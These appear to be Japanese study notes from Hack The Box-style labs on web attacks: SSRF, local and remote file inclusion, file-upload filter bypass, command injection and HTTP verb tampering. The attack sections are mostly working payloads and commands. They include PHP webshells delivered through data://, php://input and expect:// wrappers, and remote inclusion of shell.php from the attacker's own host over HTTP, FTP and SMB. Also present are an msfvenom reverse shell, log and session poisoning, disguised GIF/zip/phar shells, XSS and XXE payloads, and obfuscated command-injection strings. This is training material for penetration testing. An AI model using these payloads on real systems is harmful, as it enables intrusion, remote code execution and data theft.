htmlソースでの検索

SSRF

検証方法

  1. 内部サービスへのアクセスを確認するためにローカルアドレスにリクエスト送る
    burpsuiteでサーバーがリクエストを送っているかを確認する
    基本的なSSRFテスト
    入力フォームやAPIエンドポイントに、以下のURLを試す
http://127.0.0.1/
http://localhost/
http://192.168.1.1/
http://10.0.0.1/
http://[::1]/

→ 何らかのレスポンスがある場合、内部アクセスが可能な可能性が高い。

管理パネルのチェック
SSRFで管理パネルやアプリケーションにアクセスできるかを調査

http://localhost/admin
http://127.0.0.1:8000/
http://127.0.0.1:8080/
http://127.0.0.1:5000/
http://127.0.0.1:9001/ (Supervisor)

→ 404以外のレスポンスや特定の管理画面のレスポンスが返ってきたら脆弱性あり。

Bypass Techniques(フィルタ回避)
一部のサーバーでは、SSRFを防ぐために「localhost へのリクエスト禁止」などの制限がある。
以下の方法でバイパスを試す。

http://2130706433/  # 127.0.0.1 を整数表記
http://0x7F000001/  # 127.0.0.1 を16進数
http://attacker-controlled-domain.com/

→ DNSリバインディングを利用し、localhost へリダイレクト。

LFI

LFI(ローカルファイルインクルージョン)とは?

なぜ危険なのか?

LFIが起こりうる関数

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

攻撃者のテクニック

ディレクトリトラバーサル

URLパラメータの末尾の変更

http://<SERVER_IP>:<PORT>/index.php?language=es.php ⇨ ?language=../../../../etc/passwd 

のように親フォルダを遡る

入力値がinclude()関数に直接渡されているときに機能する

include($_GET['language']);

基本的なバイパス手法

非再帰型パストラバーサルフィルター
最も基本的な「検索&置換フィルター」
例えば、以下のように「../」を削除することでパスとラバーサルを防ごうとするもの
$language = str_replace('../', '', $_GET['language']);
この文字列に対して、../ を1回だけ削除するフィルターを通すと、結果は ../ となり、パストラバーサルが成立してしまう
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
非再帰型パストラバーサルフィルターに対するバイパス手法

エンコーディングによるバイパス
一部のWebフィルターでは、LFIに関連する特定の文字(例:ドット . やスラッシュ /)が含まれる入力をブロックすることがある
しかし、これらの文字をURLエンコードすることで、フィルターをすり抜けることができる場合がある
なので、通常のディレクトリとラバーサルの攻撃をエンコーディングすればできる時もある
さらに、Burp Decoderを使って二重エンコード(double encoding)すれば、他のフィルターにもバイパスできる可能性が広がる

エンコードするときに使えるツール

許可されたパス
一部のWebアプリケーションでは、正規表現を使って、インクルードできるファイルを特定のパス配下に制限している場合がある

以下のように ./languagesディレクトリ内にあるファイルだけを許可しているコードがある

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

こうしたケースでは、まずアプリが通常使っているパス(例:フォームやリンクから送信されるリクエスト)を観察し、どのようなパスが使われているかを確認する
その後、同じパス内のディレクトリをファズ(fuzz)して、使えるパスを探すこともできる

これをバイパスする方法としては、まず許可されたパスから始めて、そのあとに ../ を使って上位ディレクトリに遡り、目的のファイルを指定する手法がある

拡張子の付加
一部のWebアプリケーションでは、ユーザー入力の末尾に自動的に拡張子(例:.php)を付け加えることで、インクルードされるファイルの拡張子を制限する
現在のPHPのバージョンでは、こうした処理をバイパスするのは難しく、結果として読み込めるファイルも.phpに限られる
古いPHPバージョン(5.3や5.4より前)でのみ有効な手法もいくつか存在する

パストランケーション
古いPHPバージョンでは、文字列の最大長が4096文字に制限されていた(おそらく32ビットシステムによる制限)
この制限を超えた部分は単純に切り捨てられ、無視される
さらに、以前のPHPではパスの末尾にあるスラッシュ / やドット . も自動的に削除される
つまり /etc/passwd/. のようなパスは、/. が消えて /etc/passwd として解釈される

これらの特性を組み合わせれば、非常に長い文字列を作って4096文字を超えさせることで、末尾に自動的に付加された拡張子 .php を切り捨てさせることが可能
この手法が機能するには、パスの先頭に存在しないディレクトリ名を置く必要がある

次のようなペイロードが例

?language=non_existing_directory/../../../etc/passwd/./././././ (←これを約2048回繰り返す)

もちろん、これを手作業で2048回書く必要はなく、以下のようなコマンドで自動生成できる

snowyowl644@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

Null Bytes

この脆弱性を利用するには、たとえば以下のようにペイロードを送る

include($_GET['language'] . ".php");

守り方(対策のポイント)

おまけ:理解の助けになるイメージ

PHPフィルター

PHPフィルターとは?

使い方の例

例)

出力された文字列の処理

echo -n 'Base64でエンコードした値' | base64 -d > XXX.php

注目ポイント

PHP ラッパー

PHPラッパーって?

PHP設定ファイルの場所

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">

base64のデコードとallow_url_includeが有効かどうか
上の出力のContainersの中身を使う

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
PHPラッパーでRCE
  1. allow_url_includeが有効かどうかを見る
  1. Webシェルをbase64エンコード
snowyowl644@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
  1. data://ラッパーとして組み込む
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid

攻撃者として見るべきポイント

inputラッパーを使った攻撃

webシェルをPOSTリクエストで送信する

snowyowl644@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid

expectラッパーを使った攻撃

expect モジュールが有効か確認
前と同じように、php.ini をbase64で取得・デコードし、expect が含まれているか確認する

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect

expectでコマンド実行

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

まとめるとこんな感じ

ラッパー コマンド送信方法 メリット 条件
data:// GET シンプルなWebシェルで柔軟に操作可能 allow_url_include = On
php://input POST ソースコードに直接PHP送信できる POST受付+allow_url_include = On
expect:// URL コマンド指定だけで実行可能(Webシェル不要) expectモジュールが有効

RFI

RFIが可能な脆弱な関数

言語 関数 内容読み取り 実行 リモートURL対応
PHP include()/include_once()
PHP file_get_contents()
Java import
.NET @Html.RemotePartial()
.NET include
ほとんどのRFI脆弱性はLFI脆弱性でもあるといえる
しかし、LFIの脆弱性が全て、RFIであるわけではない
理由

RFIの確認

PHPではリモートファイルのインクルードを有効にするには、allow_url_include 設定が On になっている必要がある

allow_url_include 設定が On になっているかの確認
これで、ファイルが開けなかったら、Ubuntuのパスだと
/etc/php/7.2/apache2/php.ini /etc/php/7.4/apache2/php.ini`
だkら、両方試す

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">

base64のデコードとallow_url_includeが有効かどうか
上の出力のContainersの中身を使う

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

でも、脆弱な関数がリモートURLの読み込みを許可していない場合もあるため、これだけでは判断できないことがある
より信頼できる方法としては、実際にURLをインクルードして、その内容を取得できるかを試す
まず最初に、ローカルのURL(例:http://127.0.0.1:80/index.php)をインクルードしてみる

http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php

RFIによるRCE

echo '<?php system($_GET["cmd"]); ?>' > shell.php

HTTP
pythonでホスト

sudo python3 -m http.server <LISTENING_PORT>

アクセス

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

FTP
pythonでホスト

sudo python -m pyftpdlib -p 21

アクセス

http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'

SMB
対象のWebアプリケーションが Windowsサーバー上で動いている場合、RFIのために allow_url_include の設定を有効にする必要はない
代わりに、SMBプロトコル を利用することでRFIが可能になる

impacket-smbserver -smb2support share $(pwd)

アクセス

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFIとファイルアップロード

コード実行を伴うファイルインクルージョンが可能な関数

言語 関数名 ファイル読み取り ファイル実行 リモートURL対応
PHP include()/include_once()
PHP require()/require_once()
NodeJS res.render()
Java import
.NET include

画像のアップロードは、ほとんどのモダンなWebアプリケーションで非常に一般的

悪意のある画像の作成

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

GIFにしている理由

LFIでのRCE
http://example.com/vulnerable.php?page=/profile_images/shell.gif&cmd=whoami

このように、LFI脆弱性とアップロード機能を組み合わせることで、リモートコード実行(RCE)を達成することが可能になる

zipラッパーでのRCE(PHP限定)

方法

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

なんか、うまくいかない時

echo '<?php system("ls -la /"); ?>' > shell.php && zip shell.jpg shell.php

ZIPアーカイブ shell.jpg をアップロードした後、以下のようにzip:// ラッパーを使用してファイルをインクルードする

zip://./profile_images/shell.jpg#shell.php

その後、通常どおりコマンドを実行する

http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

PharファイルでのRCE

Pharファイルは内部にPHPコードを含むことができて、phar:// でアクセスされたときにコードが評価(実行)される可能性がある

そして攻撃者はこの性質を使って、こうします:
1. .pharファイルを画像に偽装して(例:shell.jpg)アップロード
2. phar://アップロード先パス/shell.jpg/shell.txt としてLFI経由で読み込み
3. 中のPHPコードが実行されて、**リモートコード実行(RCE)**に持ち込む

まず以下のPHPスクリプトを shell.php というファイルに書き込む

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

ファイルを Phar アーカイブにコンパイルし、拡張子を .jpg に変更して偽装する

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

これで shell.jpg という名前の Phar ファイルが完成する

このファイルをWebアプリケーションにアップロードしたら、以下のように phar:// ラッパーを使ってアクセスする

http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

ログポイズニング

PHPコードを含むファイルをインクルードすれば、それが実行権限を持つ脆弱な関数によって実行されることがわかる

ログポイズニングの攻撃の概念

言語 関数 内容の読み取り 実行 リモートURL
PHP include() / include_once()
PHP require() / require_once()
NodeJS res.render()
Java import
.NET include

PHPセッション・ポイズニング

まず、自分にPHPSESSIDクッキーが設定されているか確認する

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

セッションファイルには、2つの値が含まれている

次のステップは、セッションファイルへのPHPコードの書き込み(=ポイズニング)
以下のように、?language= パラメータに URLエンコードされたPHPウェブシェル を指定して、PHPコードをセッションファイルに書き込む

http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

最後に、セッションファイルをインクルードして、コマンドを実行する

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

理想的には、この一時的なウェブシェルを使って、以下のような次のステップに進むことが推奨されてる

サーバーログ・ポイズニング

ステップ1:LFIでログを読み込む

デフォルトのログファイルのパス

OS Apache Nginx
Linux /var/log/apache2/ /var/log/nginx/
Windows C:\xampp\apache\logs|C:\nginx\log|

ステップ2:Apacheのaccess.logを読み込んでみる

http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log

ステップ3:Burp Suiteを使ってログを汚染する

ステップ4:curlを使って汚染することも可能

 curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"

これにより、access.log にPHPコードが記録される
あとは、LFIを使ってこのログファイルを読み込めば、任意のコマンドを実行できる

✅ 成功したRCE手順まとめ(Apache Log Poisoning + LFI)

① PHPコードをApacheログに注入(User-Agentヘッダー)

② LFI脆弱性を利用して、ログファイルを読み込ませる

✅ 成功時の出力(pwdの結果)

/var/www/html

💡 補足Tips

🎯 まとめ

1. User-Agent にPHPを仕込んでログに記録させる
2. LFIでログを読み込み、コマンドを実行
3. &cmd=xxx で自由にコマンド実行できる

これでリモートコード実行(RCE)に成功!

おまけ:/proc ディレクトリを使った応用テクニック

その他のログファイルを狙う
次のようなサービスログも読み取り可能であれば、ログポイズニングの対象になる

これらのログにアクセスできる場合は、たとえば

自動スキャン

自動スキャンってどんなことをするの?

LFIスキャンの流れ

LFIスキャンの流れ(初心者向けステップ)
ステップ1:攻撃対象のページを見つける

ステップ2:ファズィングで使えるパラメータを探す

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287

ステップ3:LFIペイロードを投げてみる

ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

サーバーファイルへのアクセス
ステップ7:Webルート(公開ディレクトリ)を探る

ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287

ステップ8:設定ファイルやログファイルを狙う

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

出力例(重要なファイルの一部):

ステップ9:変数展開の読み解き(手動確認も大事)

curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf

ステップ10:情報をつなげて、さらに深掘り

おまけ:LFI特化ツールの紹介


File Upload

バリデーションが欠如している場合

想定 : バリデーションなし

webフレームワークの特定

脆弱性の特定とテスト

<?php echo "Hello HTB"; ?>

webシェル

sudo wget https://github.com/Arrexel/phpbash/raw/refs/heads/master/phpbash.php

自分でシンプルなウェブシェルを書く方法

PHP

<?php system($_REQUEST['cmd']); ?>

.NET

<% eval request('cmd') %>

リバースシェル

カスタムリバースシェルの生成

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php

クライアントサイドバリデーション

回避

  1. アップロードリクエストを直接改変してサーバーに送信する
  1. フロントエンドコード(JavaScriptやHTML)を改変し、バリデーション処理を無効化する
    ブラウザの開発者ツールを押して、プロフィール画像をクリックすると、ここがアップロードする部分だとわかる
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">

ここで重要なのは以下の2点

accept 属性は、選択ダイアログに影響するだけ

注目すべきは checkFile(this) の部分

function checkFile(File) {
...SNIP...
    if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
    ...SNIP...
    }
}

この関数では、ファイルの拡張子が jpg、jpeg、png のいずれでもない場合に、

<input type="file" name="uploadFile" id="uploadFile" onchange="" accept=".jpg,.jpeg,.png">

ブラックリストフィルター

クライアントサイドのバイパス手法を使ってもブロックされる時は、バックエンド側にもバリデーションがあるのが原因

**拡張子のブラックリスト

$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}

この方法の欠点

回避

拡張子のファジング(Fuzzing Extensions)

辞書

適切な辞書を使って、Burp SuiteのIntruderでファジングする
filenameのところの拡張子のところをファジングする

URLのドットとかエンコードされるとダメなので、必ずオフにする!!!!!

そして、許可されている拡張子を使って、ファイルをアップロードする

拡張子ブラックリストのすり抜け方リスト

ホワイトリストフィルター

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

回避

ダブル拡張子

リバースダブル拡張子(Reverse Double Extension)

文字注入 Character Injection

スクリプトでファイル名のバリエーションを自動生成
以下のBashスクリプトを使えば、様々な文字注入パターンを自動で生成できる

文字注入+ダブル拡張子の辞書作成コマンド

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
               '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

ダブル拡張子の辞書作成コマンド

#!/bin/bash
> double_wordlist.txt
for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
           '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
    echo "shell$ext.jpg" >> double_wordlist.txt
    echo "shell.jpg$ext" >> double_wordlist.txt

done

Content-Typeフィルター

サーバーが中身を判断する方法は主に2つ
1. Content-Type ヘッダー(MIMEタイプ)
2. ファイル自体のバイナリ内容(マジックバイトなど)

回避

SecLists の web-all-content-types.txt を使って、Burp Intruder で Content-Type ヘッダーに対してファジングを実施する
しかし、画像系のみ許可となっているので、image系のコンテンツタイプのみにする

wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt

ヘッダーの種類 内容
リクエスト全体の Content-Type 通常は multipart/form-data
添付ファイル部分の Content-Type 各ファイルの「中身の種類」を示す

MIME-Typeフィルター

回避

拡張子 Content-Type MIMEタイプ バイパスの意図
✅許可 ✅許可 ✅許可 正常な画像(通る)
❌拒否 ✅許可 ✅許可 拡張子だけNG → 実行される可能性あり
✅許可 ❌拒否 ✅許可 ヘッダー偽装必要(Burpなど)
✅許可 ✅許可 ❌拒否 中身の偽装(GIF8など)で突破狙う
✅許可 ❌拒否 ❌拒否 ギリギリなケース、条件次第では通る
❌拒否 ✅許可 ❌拒否 拡張子だけで落ちる実装もある
❌拒否 ❌拒否 ✅許可 MIMEが優先されるケースで突破可能性あり
❌拒否 ❌拒否 ❌拒否 完全アウト(要バイパス技術)
実用的なバイパステクニック例
手法 内容
.php.jpg + GIF8 + PHPコード 拡張子は画像、中身はPHP+GIFマジックで実行狙う
.jpg + Content-Type: image/gif + MIMEはGIF8 3重の画像偽装でフィルターすり抜け
.php + Content-Type: image/png + GIF8先頭 サーバーが拡張子無視なら実行される
.svg 一見画像だがJavaScript埋め込み可能(XSS)
.phtml, .php5 .phpがNGでも、別拡張子なら通るサーバーも多い
コンテンツタイプとMIMEはイメージにして、ダブル拡張子でバイパスする例

それ以外のフィルター・攻撃

アップロードフォームの中には、非常に厳格なフィルターが設定されていて、ここまで学んだ手法では突破できないケースも存在する

許可されているファイルタイプを利用した攻撃
ファイルの種類によっては、悪意のあるデータを埋め込むことで、新たな脆弱性をWebアプリケーションに導入することが可能

可能になるファイルの種類

XSS

HTMLファイルによるStored XSS

画像メタデータによるXSS

snowyowl644@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
snowyowl644@htb[/htb]$ exiftool HTB.jpg
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>

SVGファイルによるXSS

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

XXE

XXE : XML External Entity
SVGはXMLベースなので、XXE(外部エンティティ参照)攻撃にも利用可能

「これ、upload.phpのhtmlコードに取得したファイルの中身が出てくる!!!」
/etc/passwd をリークする例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

PHPファイルのソースコードをbase64で抜き出す例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

DoS

ファイルアップロードを悪用してサーバーに負荷をかけてクラッシュさせることもできる
XXEによるDoS

ZIP爆弾(Decompression Bomb)

ピクセルフラッド攻撃(画像サイズ偽装)

その他のDoS手法

その他の攻撃

ファイル名インジェクション

アップロードディレクトリの開示

Windows特有のテクニック

高度なファイル処理の悪用


Command Injection

コマンドインジェクションとは?

OSコマンドインジェクションの具体例

PHPの場合

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Node.jsの場合

app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

どうやって防ぐ?

検出

コマンドインジェクションの手法

ポイント

インジェクション演算子 インジェクション文字 URLエンコードされた文字 実行されるコマンド
セミコロン ; %3b 両方
改行(new-line) \n %0a 両方
バックグラウンド & %26 両方(2番目が先に出力されることが多い)
パイプ | %7c 両方 (2番目のみのコマンドの出力される)
AND && %26%26 両方(1つ目が成功した場合のみ2つ目実行)
OR || %7c%7c 二番目(1つ目が失敗した場合)
Tab %09 スペースフィルターがかかっている場合のバイパス
サブシェル(バッククォート) `` %60%60 両方(Linuxのみ)
サブシェル($()) $() %24%28%29 両方(Linuxのみ)

フィルターバイパス

ブラックリスト型フィルターのバイパス

$blacklist = ['&', '|', ';'];
foreach ($blacklist as $c) {
	if (strpos($_POST['ip'], $c) !== false) {
		echo "Invalid input";
	}
}

どうやってブロックされた原因を調べる?

ブロックの種類

まとめ

スペースフィルターのバイパス

スペースフィルターとは?

例 : 改行文字スペースで、コマンドインジェクションを使用とするとエラーになる

127.0.0.1%0a whoami

タブによるバイパス

127.0.0.1%0a%09whoami

$IFSでのバイパス

127.0.0.1%0a${IFS}whoami

波括弧展開(Brace Expansion)でのバイパス

127.0.0.1%0a{ls,-la}

その他のブラックリスト文字のバイパス

Linux

**PATHHOME や $PWD といった他の環境変数や、環境変数を覗いてみると、こんな感じになっている

snowyowl644@htb[/htb]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games

なので、環境変数の文字列の先頭一文字だけを取り出すと、スラッシュが手にはいる

snowyowl644@htb[/htb]$ echo ${PATH:0:1}
/ 

同様の手口で、セミコロンも取り出せる

snowyowl644@htb[/htb]$ echo ${LS_COLORS:10:1}
;

応用

最終的なバイパスペイロードの例
これで、ブラックリストに含まれている文字を直接使わずに127.0.0.1; 任意のコマンドというコマンドにできる

127.0.0.1${LS_COLORS:10:1}${IFS}

Windows

CMD

C:\htb> echo %HOMEPATH:~6,-11%

\

Powershell

PS C:\htb> $env:HOMEPATH[0]
\
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>

文字シフト(Character Shifting)

snowyowl644@htb[/htb]$ man ascii     # \ is on 92, before it is [ on 91
snowyowl644@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)
\

ブラックリストのコマンドのバイパス

コマンドに対するブラックリストの確認

PHPのコマンドブラックリスト

$blacklist = ['whoami', 'cat', ...省略...];
foreach ($blacklist as $word) {
    if (strpos($_POST['ip'], $word) !== false) {
        echo "Invalid input";
    }
}

コマンド難読化(Obfuscation)の手法

よく使われるコマンド難読化

Linux・Windows

シングルクオートの挿入

21y4d@htb[/htb]$ w'h'o'am'i
21y4d

ダブルクオートの挿入

21y4d@htb[/htb]$ w"h"o"am"i
21y4d

注意点

Linux

who$@ami
w\ho\am\i

これまでのバイパス手法を使ったコマンド

127.0.0.1%0a%09{c$@at,..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}

Windows

C:\htb> who^ami
21y4d

高度なコマンド難読化

大文字・小文字の操作

Windows
PS C:\htb> WhOaMi
21y4d
Linux
21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d
$(a="WhOaMi"; printf %s "${a,,}")

フィルターされる文字の注意点

逆順コマンド

Linux
  1. コマンドの逆順を取得する
snowyowl644@htb[/htb]$ echo 'whoami' | rev
imaohw
  1. 逆順コマンドを元に戻して実行
21y4d@htb[/htb]$ $(rev<<<'imaohw')
21y4d
Windows
PS C:\htb> "whoami"[-1..-20] -join ''
imaohw
PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
21y4d

コマンドのエンコード

コマンドをエンコードするために、以下のようなツールを利用できる

Base64を使ったコマンド難読化

Linux
snowyowl@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
snowyowl644@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Windows
PS C:\htb> [Convert]::ToBase64StringUnicode.GetBytes('whoami')

dwBoAG8AYQBtAGkA
snowyowl644@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA

最後に、PowerShellでこのBase64文字列をデコードし、サブシェルで実行する

PS C:\htb> iex "$FromBase64String('dwBoAG8AYQBtAGkA'))"

21y4d

その他の技術
今回紹介した手法以外にも、以下のような技術を組み合わせて使用できる
• ワイルドカード(*など)
• 正規表現
• 出力リダイレクト(>、>>)
• 数値展開($((1+2)) など)

これらの技術については、PayloadsAllTheThings でさらに多くの例が紹介されている

コマンドのエンコードと、これまでのバイパスを行ったコマンド

ip=127.0.0.1%0a%09b"a""s""h"<<<$("b"a"s"e"6"4%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)

回避ツール

Linux

Linuxでbashコマンドを難読化する際に便利なツール : Bashfuscator

snowyowl644@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
snowyowl644@htb[/htb]$ cd Bashfuscator
snowyowl644@htb[/htb]$ pip3 install setuptools==65
snowyowl644@htb[/htb]$ python3 setup.py install --user
snowyowl644@htb[/htb]$ cd ./bashfuscator/bin/
snowyowl644@htb[/htb]$ ./bashfuscator -h

usage: bashfuscator [-h] [-l] ...SNIP...

難読化

snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters

コンパクトな難読化を作る

snowyowl644@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters

難読化したコマンドの実行

snowyowl644@htb[/htb]$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

root:x:0:0:root:/root:/bin/bash
...SNIP...
Windows

環境の構築

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation

難読化の実行

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag

HTTPメソッドの改ざん

HTTPメソッド一覧

メソッド 説明
HEAD GETと同様だが、レスポンスボディを含まずヘッダだけ返す
PUT 指定した場所にデータを書き込む
DELETE 指定した場所のリソースを削除する
OPTIONS 受け入れ可能なメソッドの一覧などを返す
PATCH リソースに対して一部だけ変更を加える

不適切な設定

<Limit GET POST>
    Require valid-user
</Limit>

不適切なコーディング

